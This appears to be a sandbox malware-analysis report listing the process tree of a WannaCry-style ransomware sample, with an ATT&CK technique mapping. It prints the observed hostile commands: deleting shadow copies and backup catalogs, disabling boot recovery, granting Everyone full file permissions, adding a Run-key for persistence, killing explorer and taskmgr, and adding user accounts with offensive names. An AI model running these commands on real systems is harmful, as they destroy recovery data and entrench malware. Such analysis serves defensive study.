C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1068
4⤵
- Program crash
PID:2380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1028
4⤵
- Program crash
PID:3104

C:\ProgramData\WbVhxCIDDK.exe
"C:\ProgramData\WbVhxCIDDK.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4980 -s 588
5⤵
- Program crash
PID:5436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1220
4⤵
- Program crash
PID:5448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1608
4⤵
- Program crash
PID:2892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1580
4⤵
- Program crash
PID:3116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1796
4⤵
- Program crash
PID:3936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1868
4⤵
- Program crash
PID:3760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 2044
4⤵
- Program crash
PID:5188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 2168
4⤵
- Program crash
PID:5272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 2212
4⤵
- Program crash
PID:5288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 2220
4⤵
- Program crash
PID:4952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 2024
4⤵
- Program crash
PID:5568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1800
4⤵
- Program crash
PID:5676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1792
4⤵
- Program crash
PID:5756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1916
4⤵
- Program crash
PID:3240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1908
4⤵
- Program crash
PID:2108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1752
4⤵
- Program crash
PID:5852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1756
4⤵
- Program crash
PID:6088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1756
4⤵
- Program crash
PID:6132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1784
4⤵
- Program crash
PID:864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1888
4⤵
- Program crash
PID:5804

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im WScript.exe
3⤵
- Kills process with taskkill
PID:4708

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\wannacryptor.exe
wannacryptor.exe
3⤵
- Drops startup file
- Executes dropped EXE
- Sets desktop wallpaper using registry
PID:1044

C:\Windows\SysWOW64\attrib.exe
attrib +h .
4⤵
- Views/modifies file attributes
PID:2456

C:\Windows\SysWOW64\icacls.exe
icacls . /grant Everyone:F /T /C /Q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2424

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\taskdl.exe
taskdl.exe
4⤵
- Executes dropped EXE
PID:1560

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c 139601721039971.bat
4⤵
PID:4380

C:\Windows\SysWOW64\attrib.exe
attrib +h +s F:\$RECYCLE
4⤵
- Views/modifies file attributes
PID:808

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:5116

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\@[email protected]
@[email protected] co
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5736

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\TaskData\Tor\taskhsvc.exe
TaskData\Tor\taskhsvc.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:5932

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /b @[email protected] vs
4⤵
PID:5752

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\@[email protected]
@[email protected] vs
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5800

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
6⤵
PID:5348

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:5372

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\taskse.exe
taskse.exe C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\@[email protected]
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5236

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\@[email protected]
@[email protected]
4⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
PID:5200

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ncdhmfygzvku207" /t REG_SZ /d "\"C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\tasksche.exe\"" /f
4⤵
PID:5264

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ncdhmfygzvku207" /t REG_SZ /d "\"C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\tasksche.exe\"" /f
5⤵
- Adds Run key to start application
- Modifies registry key
PID:5316

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\taskdl.exe
taskdl.exe
4⤵
- Executes dropped EXE
PID:5340

C:\Windows\SysWOW64\timeout.exe
timeout 12
3⤵
- Delays execution with timeout.exe
PID:3572

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:4592

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im explorer.exe
3⤵
- Kills process with taskkill
PID:3216

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im taskmgr.exe
3⤵
- Kills process with taskkill
PID:4348

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im WScript.exe
3⤵
- Kills process with taskkill
PID:2056

C:\Windows\SysWOW64\shutdown.exe
shutdown /a
3⤵
PID:4968

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3660

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K bloatware.cmd
3⤵
PID:4852

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\useroverflow.exe
useroverflow.exe
3⤵
- Executes dropped EXE
PID:4228

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\programoverflow.exe
programoverflow.exe
3⤵
- Executes dropped EXE
PID:4608

C:\Windows\SysWOW64\notepad.exe
notepad.exe
3⤵
PID:3868

C:\Windows\SysWOW64\regedit.exe
regedit.exe
3⤵
- Runs regedit.exe
PID:828

C:\Windows\SysWOW64\mspaint.exe
mspaint.exe
3⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:836

C:\Windows\SysWOW64\charmap.exe
charmap.exe
3⤵
PID:2692

C:\Windows\SysWOW64\net.exe
net user "CRY TO UR MOTHA" "1488" /add
3⤵
PID:852

C:\Windows\SysWOW64\net.exe
net user "CRY TO UR MOTHAR HEHEHEEHEHEHAHAHAHHHHHHHHHAAAAAAA" "1488" /add
3⤵
PID:4800

C:\Windows\SysWOW64\net.exe
net user "CRY TO UR MOTHA" /active:no
3⤵
PID:3572

C:\Windows\SysWOW64\net.exe
net user "racism is not good" "1488" /add
3⤵
PID:1200

C:\Windows\SysWOW64\net.exe
net user 21609 * /add
3⤵
PID:4032

C:\Windows\SysWOW64\timeout.exe
timeout 21
3⤵
- Delays execution with timeout.exe
PID:2040

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"
1⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4232

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
2⤵
- Suspicious use of WriteProcessMemory
PID:3928

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=BD627983A94CC46355B2A163DB6EB497 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=BD627983A94CC46355B2A163DB6EB497 --renderer-client-id=2 --mojo-platform-channel-handle=1652 --allow-no-sandbox-job /prefetch:1
3⤵
PID:2640

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=4861C3DECB7E6E9ED2DC34D1E7411DEF --mojo-platform-channel-handle=1756 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
3⤵
PID:4032

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=6AECE5F5078A83CF8C3F174E2EBCB6BA --mojo-platform-channel-handle=2392 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
3⤵
PID:2992

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=BEEEB8364CA2C88741EED9143ACA76C0 --mojo-platform-channel-handle=1920 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
3⤵
PID:4348

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=B9771F520A628F09B412AA32FA4859C8 --mojo-platform-channel-handle=2476 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
3⤵
PID:3376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3768 -ip 3768
1⤵
PID:4980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1548 -ip 1548
1⤵
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:3768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1548 -ip 1548
1⤵
PID:3864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
1⤵
PID:2456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1548 -ip 1548
1⤵
PID:2536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1548 -ip 1548
1⤵
PID:4356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1548 -ip 1548
1⤵
PID:3176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1548 -ip 1548
1⤵
PID:4212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1548 -ip 1548
1⤵
PID:4048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1548 -ip 1548
1⤵
PID:1200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1548 -ip 1548
1⤵
PID:5296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4980 -ip 4980
1⤵
PID:5304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1548 -ip 1548
1⤵
PID:2488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1548 -ip 1548
1⤵
PID:5084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1548 -ip 1548
1⤵
PID:1584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1548 -ip 1548
1⤵
PID:3668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1548 -ip 1548
1⤵
PID:2040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1548 -ip 1548
1⤵
PID:2944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1548 -ip 1548
1⤵
PID:5244

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1548 -ip 1548
1⤵
PID:5440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1548 -ip 1548
1⤵
PID:5492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1548 -ip 1548
1⤵
PID:5664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1548 -ip 1548
1⤵
PID:5728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1548 -ip 1548
1⤵
PID:5608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1548 -ip 1548
1⤵
PID:5908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1548 -ip 1548
1⤵
PID:6000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1548 -ip 1548
1⤵
PID:6068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 1548 -ip 1548
1⤵
PID:6096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1548 -ip 1548
1⤵
PID:3116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1548 -ip 1548
1⤵
PID:1488

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3938055 /state1:0x41c64e6d
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery